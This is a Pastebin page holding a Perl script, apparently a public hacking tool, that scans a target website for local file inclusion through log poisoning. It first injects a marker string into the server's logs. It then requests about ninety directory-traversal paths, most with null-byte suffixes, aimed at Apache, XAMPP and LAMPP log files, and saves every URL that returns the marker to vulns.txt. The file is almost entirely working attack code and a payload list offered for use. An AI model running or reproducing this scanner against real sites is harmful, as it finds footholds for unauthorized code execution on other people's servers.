Advertisement
parkdream1

log.pl

Feb 23rd, 2012
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.84 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # For LFI Scanner Logs - Public
  4. #
  5. # by DD3str0y3r
  6. #
  7. use LWP::UserAgent;
  8. use HTTP::Request;
  9.  
  10. if ($#ARGV != 1){
  11. print "==========================================================\n";
  12. print "For LFI Scanner Logs - Public\n\n";
  13. print "Use: perl $0 host path\n";
  14. print "Ex: perl $0 http://www.site.com.br /index.php?pg=\n";
  15. print "==========================================================\n";}
  16.  
  17. $site = $ARGV[0];
  18. $path = $ARGV[1];
  19.  
  20. $codigo = "/CODIGO.123";
  21. $scanner = $site.$codigo;
  22. my $request = HTTP::Request->new(GET=>$scanner);
  23. my $useragent = LWP::UserAgent->new();
  24. $useragent->timeout(5);
  25. my $resposta = $useragent->request($request);
  26. if($resposta->content !~ /CODIGO.123/)
  27. {print "\nCode can not be injected\n";}
  28. else{
  29.  
  30. @lfi = ('../../../../../../../../../../../../../../../etc/httpd/logs/acces_log%00',
  31. '../../../../../../../../../../../../../../../etc/httpd/logs/acces.log%00',
  32. '../../../../../../../../../../../../../../../etc/httpd/logs/error_log%00',
  33. '../../../../../../../../../../../../../../../etc/httpd/logs/error.log%00',
  34. '../../../../../../../../../../../../../../../usr/local/apache/logs/access_log%00',
  35. '../../../../../../../../../../../../../../../usr/local/apache/logs/access.log%00',
  36. '../../../../../../../../../../../../../../../usr/local/apache/logs/error_log%00',
  37. '../../../../../../../../../../../../../../../usr/local/apache/logs/error.log%00',
  38. '../../../../../../../../../../../../../../../usr/lib/security/mkuser.default%00',
  39. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access_log%00',
  40. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access.log%00',
  41. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error_log%00',
  42. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error.log%00',
  43. '../../../../../../../../../../../../../../../apache/logs/access.log%00',
  44. '../../../../../../../../../../../../../../../apache/logs/error.log%00',
  45. '../../../../../../../../../../../../../../../apache2/logs/error.log%00',
  46. '../../../../../../../../../../../../../../../apache2/logs/access.log%00',
  47. '../../../../../../../../../../../../../../../var/www/logs/access_log%00',
  48. '../../../../../../../../../../../../../../../var/www/logs/access.log%00',
  49. '../../../../../../../../../../../../../../../var/log/apache/access_log%00',
  50. '../../../../../../../../../../../../../../../var/log/apache2/access_log%00',
  51. '../../../../../../../../../../../../../../../var/log/apache/access.log%00',
  52. '../../../../../../../../../../../../../../../var/log/apache2/access.log%00',
  53. '../../../../../../../../../../../../../../../var/www/logs/error_log%00',
  54. '../../../../../../../../../../../../../../../var/www/logs/error.log%00',
  55. '../../../../../../../../../../../../../../../var/log/access_log%00',
  56. '../../../../../../../../../../../../../../../var/log/access.log%00',
  57. '../../../../../../../../../../../../../../../var/log/apache/error_log%00',
  58. '../../../../../../../../../../../../../../../var/log/apache2/error_log%00',
  59. '../../../../../../../../../../../../../../../var/log/apache/error.log%00',
  60. '../../../../../../../../../../../../../../../var/log/apache2/error.log%00',
  61. '../../../../../../../../../../../../../../../var/log/error_log%00',
  62. '../../../../../../../../../../../../../../../var/log/error.log%00',
  63. '../../../../../../../../../../../../../../../var/log/httpd/access_log%00',
  64. '../../../../../../../../../../../../../../../var/log/httpd/error_log%00',
  65. '../../../../../../../../../../../../../../../var/log/httpd/access.log%00',
  66. '../../../../../../../../../../../../../../../var/log/httpd/error.log%00',
  67. '../../../../../../../../../../../../../../../opt/lampp/logs/access_log%00',
  68. '../../../../../../../../../../../../../../../opt/lampp/logs/error_log%00',
  69. '../../../../../../../../../../../../../../../opt/xampp/logs/access_log%00',
  70. '../../../../../../../../../../../../../../../opt/xampp/logs/error_log%00',
  71. '../../../../../../../../../../../../../../../opt/lampp/logs/access.log%00',
  72. '../../../../../../../../../../../../../../../opt/lampp/logs/error.log%00',
  73. '../../../../../../../../../../../../../../../opt/xampp/logs/access.log%00',
  74. '../../../../../../../../../../../../../../../opt/xampp/logs/error.log%00',
  75. '../../../../../../../../../../../../../../../etc/httpd/logs/acces_log',
  76. '../../../../../../../../../../../../../../../etc/httpd/logs/acces.log',
  77. '../../../../../../../../../../../../../../../etc/httpd/logs/error_log',
  78. '../../../../../../../../../../../../../../../etc/httpd/logs/error.log',
  79. '../../../../../../../../../../../../../../../usr/local/apache/logs/access_log',
  80. '../../../../../../../../../../../../../../../usr/local/apache/logs/access.log',
  81. '../../../../../../../../../../../../../../../usr/local/apache/logs/error_log',
  82. '../../../../../../../../../../../../../../../usr/local/apache/logs/error.log',
  83. '../../../../../../../../../../../../../../../usr/lib/security/mkuser.default',
  84. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access_log',
  85. '../../../../../../../../../../../../../../../usr/local/apache2/logs/access.log',
  86. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error_log',
  87. '../../../../../../../../../../../../../../../usr/local/apache2/logs/error.log',
  88. '../../../../../../../../../../../../../../../apache/logs/access.log',
  89. '../../../../../../../../../../../../../../../apache/logs/error.log',
  90. '../../../../../../../../../../../../../../../apache2/logs/error.log',
  91. '../../../../../../../../../../../../../../../apache2/logs/access.log',
  92. '../../../../../../../../../../../../../../../var/www/logs/access_log',
  93. '../../../../../../../../../../../../../../../var/www/logs/access.log',
  94. '../../../../../../../../../../../../../../../var/log/apache/access_log',
  95. '../../../../../../../../../../../../../../../var/log/apache2/access_log',
  96. '../../../../../../../../../../../../../../../var/log/apache/access.log',
  97. '../../../../../../../../../../../../../../../var/log/apache2/access.log',
  98. '../../../../../../../../../../../../../../../var/www/logs/error_log',
  99. '../../../../../../../../../../../../../../../var/www/logs/error.log',
  100. '../../../../../../../../../../../../../../../var/log/access_log',
  101. '../../../../../../../../../../../../../../../var/log/access.log',
  102. '../../../../../../../../../../../../../../../var/log/apache/error_log',
  103. '../../../../../../../../../../../../../../../var/log/apache2/error_log',
  104. '../../../../../../../../../../../../../../../var/log/apache/error.log',
  105. '../../../../../../../../../../../../../../../var/log/apache2/error.log',
  106. '../../../../../../../../../../../../../../../var/log/error_log',
  107. '../../../../../../../../../../../../../../../var/log/error.log',
  108. '../../../../../../../../../../../../../../../var/log/httpd/access_log',
  109. '../../../../../../../../../../../../../../../var/log/httpd/error_log',
  110. '../../../../../../../../../../../../../../../var/log/httpd/access.log',
  111. '../../../../../../../../../../../../../../../var/log/httpd/error.log',
  112. '../../../../../../../../../../../../../../../opt/lampp/logs/access_log',
  113. '../../../../../../../../../../../../../../../opt/lampp/logs/error_log',
  114. '../../../../../../../../../../../../../../../opt/xampp/logs/access_log',
  115. '../../../../../../../../../../../../../../../opt/xampp/logs/error_log',
  116. '../../../../../../../../../../../../../../../opt/lampp/logs/access.log',
  117. '../../../../../../../../../../../../../../../opt/lampp/logs/error.log',
  118. '../../../../../../../../../../../../../../../opt/xampp/logs/access.log',
  119. '../../../../../../../../../../../../../../../opt/xampp/logs/error.log');
  120. foreach $lfi(@lfi){
  121.  
  122. $scanner = $site.$path.$lfi;
  123. my $request = HTTP::Request->new(GET=>$scanner);
  124. my $useragent = LWP::UserAgent->new();
  125. $useragent->timeout(5);
  126. my $resposta = $useragent->request($request);
  127. if($resposta->content =~ /CODIGO.123/)
  128. {print "\a";
  129. print "\n$scanner\n";
  130. open(a, ">>vulns.txt");
  131. print a "$scanner\n";
  132. close(a);}}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement